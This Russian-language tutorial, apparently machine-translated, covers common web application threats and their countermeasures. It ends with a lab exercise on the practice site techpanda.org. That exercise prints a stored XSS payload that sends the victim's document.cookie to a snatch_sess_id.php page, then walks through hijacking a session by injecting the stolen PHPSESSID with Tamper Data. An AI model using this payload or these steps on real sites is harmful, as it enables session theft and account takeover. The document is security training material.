Больше людей имеют доступ к Интернету, чем когда-либо прежде. Это побудило многие организации разрабатывать веб-приложения, которые пользователи могут использовать в Интернете для взаимодействия с организацией. Плохо написанный код для веб-приложений можно использовать для получения несанкционированного доступа к конфиденциальным данным и веб-серверам.
В этой статье мы познакомим вас с методами взлома веб-приложений и мерами противодействия, которые вы можете предпринять для защиты от таких атак .
Темы, рассматриваемые в этом уроке
- Что такое веб-приложение? Что такое веб-угрозы?
- Как защитить ваш сайт от взлома?
- Взлом деятельности: взломать сайт!
Что такое веб-приложение? Что такое веб-угрозы?
Веб-приложение (или веб-сайт) — это приложение, основанное на модели клиент-сервер. Сервер обеспечивает доступ к базе данных и бизнес-логике. Он размещен на веб-сервере. Клиентское приложение запускается в клиентском веб-браузере. Веб-приложения, как правило, пишутся на таких языках, как Java, C # и VB.Net, PHP, ColdFusion Markup Language и т. Д. Ядрами базы данных, используемыми в веб-приложениях, являются MySQL, MS SQL Server, PostgreSQL, SQLite и т. Д.
Большинство веб-приложений размещаются на общедоступных серверах, доступных через Интернет. Это делает их уязвимыми для атак из-за легкого доступа. Ниже перечислены распространенные угрозы веб-приложений.
- SQL-инъекция — целью этой угрозы может быть обход алгоритмов входа в систему, саботаж данных и т. Д.
- Атаки отказа в обслуживании — целью этой угрозы может быть отказ в доступе законных пользователей к ресурсу
- Межсайтовый скриптинг XSS — целью этой угрозы может быть внедрение кода, который может быть выполнен в браузере на стороне клиента.
- Cookie / Session Poisoning — цель этой угрозы состоит в том, чтобы изменить куки-файлы / данные сеанса злоумышленником для получения несанкционированного доступа.
- Фальсификация форм — целью этой угрозы является изменение данных форм, таких как цены, в приложениях электронной коммерции, чтобы злоумышленник мог получать товары по сниженным ценам.
- Внедрение кода — целью этой угрозы является внедрение кода, такого как PHP, Python и т. Д., Который может быть выполнен на сервере. Код может установить бэкдоры, раскрыть конфиденциальную информацию и т. Д.
- Defacement — цель этой угрозы — изменить страницу, отображаемую на веб-сайте, и перенаправить все запросы на страницу на одну страницу, содержащую сообщение злоумышленника.
Как защитить ваш сайт от взлома?
Организация может принять следующую политику для защиты от атак веб-сервера.
- SQL-инъекция — дезинфекция и проверка пользовательских параметров перед отправкой их в базу данных для обработки может помочь снизить вероятность атак с помощью SQL-инъекции. Механизмы баз данных, такие как MS SQL Server, MySQL и т. Д., Поддерживают параметры и подготовленные операторы. Они намного безопаснее, чем традиционные операторы SQL
- Атаки типа «отказ в обслуживании» — брандмауэры могут использоваться для отбрасывания трафика с подозрительного IP-адреса, если атака представляет собой простую DoS. Правильная настройка сетей и системы обнаружения вторжений также может помочь снизить вероятность успешной атаки DoS.
- Межсайтовый скриптинг — проверка и дезинфекция заголовков, параметров, передаваемых через URL, параметров формы и скрытых значений может помочь уменьшить атаки XSS.
- Cookie / Session Poisoning — это может быть предотвращено путем шифрования содержимого файлов cookie, тайм-аута файлов cookie через некоторое время, связывания файлов cookie с IP-адресом клиента, который использовался для их создания.
- Закаливание формы — это можно предотвратить, проверяя и проверяя пользовательский ввод перед его обработкой.
- Внедрение кода — этого можно избежать, рассматривая все параметры как данные, а не как исполняемый код. Санитарная обработка и проверка могут быть использованы для реализации этого.
- Defacement — хорошая политика безопасности разработки веб-приложений должна гарантировать, что она закрывает наиболее часто используемые уязвимости для доступа к веб-серверу. Это может быть правильная конфигурация операционной системы, программного обеспечения веб-сервера и передовые методы обеспечения безопасности при разработке веб-приложений.
Взлом деятельности: взломать сайт
В этом практическом сценарии мы собираемся перехватить пользовательский сеанс веб-приложения, расположенного по адресу www.techpanda.org . Мы будем использовать межсайтовый скриптинг для чтения идентификатора сеанса cookie, а затем использовать его для олицетворения законного сеанса пользователя.
Предполагается, что злоумышленник имеет доступ к веб-приложению, и он хотел бы перехватить сеансы других пользователей, которые используют то же приложение. Цель этой атаки может состоять в том, чтобы получить доступ администратора к веб-приложению, предполагая, что учетная запись доступа злоумышленника ограничена.
Начиная
- Откройте http://www.techpanda.org/
- Для практических целей настоятельно рекомендуется получить доступ с помощью SQL-инъекции. Обратитесь к этой статье для получения дополнительной информации о том, как это сделать.
- Адрес электронной почты для входа: [email protected] , пароль Password2010
- Если вы успешно вошли в систему, вы получите следующую панель
- Нажмите на Добавить новый контакт
- Введите следующее как имя
<a href=# onclick=\»document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\»> Dark </a>
ВОТ,
Приведенный выше код использует JavaScript . Добавляет гиперссылку с событием onclick . Когда ничего не подозревающий пользователь щелкает ссылку, событие извлекает идентификатор сеанса файла cookie PHP и отправляет его на страницу snatch_sess_id.php вместе с идентификатором сеанса в URL-адресе.
- Введите остальные данные, как показано ниже
- Нажмите на Сохранить изменения
- Ваша панель управления теперь будет выглядеть следующим образом
- Поскольку код межсайтового скрипта хранится в базе данных, он будет загружаться каждый раз, когда пользователи получают права доступа.
- Давайте предположим, что администратор входит в систему и нажимает на гиперссылку с надписью Dark
- Он / она получит окно с идентификатором сеанса, отображаемым в URL
Примечание . Сценарий может отправлять значение на некоторый удаленный сервер, на котором хранится PHPSESSID, а затем пользователь перенаправляется обратно на веб-сайт, как будто ничего не происходит.
Примечание : значение, которое вы получаете, может отличаться от значения в этом уроке, но концепция та же
Сеанс олицетворения с использованием дополнения Firefox и Tamper Data
Блок-схема ниже показывает шаги, которые вы должны предпринять для выполнения этого упражнения.
- Для этого раздела вам потребуется веб-браузер Firefox и дополнение Tamper Data.
- Откройте Firefox и установите дополнение, как показано на диаграммах ниже
- Найдите данные тампера и нажмите «Установить», как показано выше.
- Нажмите на Принять и установить …
- Нажмите на Перезагрузить сейчас, когда установка завершится
- Включите строку меню в Firefox, если она не отображается
- Нажмите на меню инструментов, затем выберите Данные тампера, как показано ниже
- Вы получите следующее окно. Примечание: если Windows не пуста, нажмите кнопку очистки
- Нажмите на меню «Начать тампер»
- Вернитесь в браузер Firefox, введите http://www.techpanda.org/dashboard.php и нажмите клавишу ввода, чтобы загрузить страницу.
- Вы получите следующее всплывающее окно из Tamper Data
- Во всплывающем окне есть три (3) варианта. Опция Tamper позволяет вам изменять информацию заголовка HTTP перед ее отправкой на сервер .
- Нажмите здесь
- Вы получите следующее окно
- Скопируйте идентификатор сеанса PHP, который вы скопировали из URL атаки, и вставьте его после знака равенства. Ваша ценность теперь должна выглядеть так
PHPSESSID = 2DVLTIPP2N8LDBN11B2RA76LM2
- Нажмите на кнопку ОК
- Вы снова получите всплывающее окно данных тампера.
- Снимите флажок, который просит продолжить вмешательство?
- Нажмите на кнопку отправить, когда закончите
- Вы должны увидеть панель инструментов, как показано ниже
Примечание : мы не входили в систему, мы олицетворяли сеанс входа в систему, используя значение PHPSESSID, которое мы получили с помощью межсайтового скриптинга
Резюме
- Веб-приложение основано на модели сервер-клиент. Клиентская сторона использует веб-браузер для доступа к ресурсам на сервере.
- Веб-приложения обычно доступны через Интернет. Это делает их уязвимыми для атак.
- Угрозы веб-приложений включают в себя SQL-инъекцию, внедрение кода, XSS, искажение, отравление cookie и т. Д.
- Хорошая политика безопасности при разработке веб-приложений может помочь сделать их безопасными.